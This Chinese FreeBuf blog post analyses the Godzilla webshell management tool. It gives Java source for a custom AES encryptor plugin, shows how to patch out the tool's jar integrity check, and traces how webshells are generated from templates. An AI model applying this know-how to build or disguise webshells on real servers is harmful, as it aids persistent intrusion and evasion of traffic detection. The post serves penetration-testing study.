freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

剖析哥斯拉WebShell管理工具
2023-09-04 16:15:47

1. 前言

本篇主要分析哥斯拉工具生成以及二开方面的内容。

2. 剖析

这里主要关注的点,是加密器方面,在哥斯拉默认的加密器中,有常见的AES BASES64...加密方式

1693812702_64f587dee478581e971bd.png!small

所以为了实现自己的一套加密器,要分析哥斯拉源码的大体以及生成逻辑。

本文主要讲解Java加密器的内容,在下图中,是哥斯拉默认的加密器,位置在:shells.cryptions.JavaAes

当然JavaTest是本人自己测试加的。

1693812882_64f5889220bb0cde2d3dd.png!small

在找到路径之后,把哥斯拉启动,可以发现在 core#ApplicationContext中进行了初始化

1693813327_64f58a4fedba4162cf671.png!small

而以下可以发现,发现了scanCryption方法。根据方法名大致可以猜出是扫描的意思,之后放到了一个map中。

1693813299_64f58a330dac3795b2b79.png!small

既然知道了大致的逻辑,就搞一个测试的加密器,看看哥斯拉能不能加载。这里直接Copy一个加密器即可,而注解中Name就是加密器的名字,PayloadName为载荷,保存为默认的即可。

@CryptionAnnotation(
    Name = "JAVA_TEST",
    payloadName = "JavaDynamicPayload"
)
public class JavaTest implements Cryption {
    private ShellEntity shell;
    private Http http;
    private Cipher decodeCipher;
    private Cipher encodeCipher;
    private String key;
    private boolean state;
    private byte[] payload;
    private String findStrLeft;
    private String pass;
    private String findStrRight;

    public JavaTest() {
    }

    public void init(ShellEntity context) {
        System.out.println("init");
        this.shell = context;
        this.http = this.shell.getHttp();
        this.key = this.shell.getSecretKeyX();

        try {
            this.encodeCipher = Cipher.getInstance("AES");
            this.decodeCipher = Cipher.getInstance("AES");
            this.encodeCipher.init(1, new SecretKeySpec(this.key.getBytes(), "AES"));
            this.decodeCipher.init(2, new SecretKeySpec(this.key.getBytes(), "AES"));
            this.payload = this.shell.getPayloadModel().getPayload();
            if (this.payload != null) {
                this.http.sendHttpResponse(this.payload);
                this.state = true;
            } else {
                Log.error("payload Is Null");
            }
        } catch (Exception var3) {
            Log.error(var3);
        }

    }

    public byte[] encode(byte[] bytes) {
        try {
            return this.encodeCipher.doFinal(bytes);
        } catch (Exception var3) {
            Log.error(var3);
            return null;
        }
    }

    public byte[] decode(byte[] bytes) {
        try {
            return this.decodeCipher.doFinal(bytes);
        } catch (Exception var3) {
            Log.error(var3);
            return null;
        }
    }

    public boolean isSendRLData() {
        return false;
    }

    public byte[] generate(String password, String secretKey) {
        return Generate.GenerateShellLoder(password, functions.md5(secretKey).substring(0, 16), false);
    }

    public boolean check() {
        return false;
    }
}

这里用最简单的办法,直接生成出这个类

1693813750_64f58bf6872b59e2059d0.png!small

Copy进去即可

1693813814_64f58c36aa7a87a197372.png!small

之后启动哥斯拉你会发现,提示被感染相关。原jar和修改后的jar校验值校验不上。

问题不大,在征求完Beichen师傅能不能nop掉校验并写成文章,Beichen师傅同意了。

打开jadx,搜索关键字定位一下

1693814150_64f58d867ddb711ae6ce3.png!small

成功定位,可以发现如下为校验,是一个很简单的判断,原hash和启动的hash做一个对比来判断。

1693814174_64f58d9e546b0d9beb3a6.png!small

都多余了,直接删掉即可。然后老方法替换掉该类文件

1693814303_64f58e1fdf027e1161f6a.png!small

自定义的加载器至此就加载了

1693814384_64f58e700cb03690feaff.png!small

点击生成,会定位到该类中,前面是一些初始化的东西。关注该按钮点击事件,其实就是生成这里,这里会进行加载一些class

core.ui.component.dialog#GenerateShellLoder

1693814478_64f58ece6feb8f5be58cf.png!small

看生成界面这里

1693814608_64f58f505111dbc36a8a8.png!small

在点击生成之后,会获取到密码 密钥等信息

1693814673_64f58f91e08ae29436031.png!small

而在ApplicationContext.getCryption(selectedPayload, selectedCryption);方法中,可以看见获取了加密器的class并进行了实例化。

1693814732_64f58fcc21d45110baacc.png!small

而后就会进入,刚才实例化生成类的generate方法,这里用的JavaAES_BASE64,在前面已经搞了一自定义的加载器,如果选择自定义加载器,就会跑到JavaTest的generate方法

1693814768_64f58ff0b59f12e4ef70e.png!small

1693814802_64f590120dee37df698d0.png!small

继续往下走,就是一个保存操作,可以看见生成的shell都是根据template目录中的模板进行替换完后

1693814960_64f590b02c850010c086b.png!small

模板内容如下:

1693815123_64f591534060aa71a2269.png!small

替换完之后就会返回成data

1693815167_64f5917fb802423832a91.png!small

至此Webshell生成的流程,以及自定义加密器的流程就简单分析完了

3.结尾

至于流量方面的东西,画个大饼,后续有空在谈

# 渗透测试 # web安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录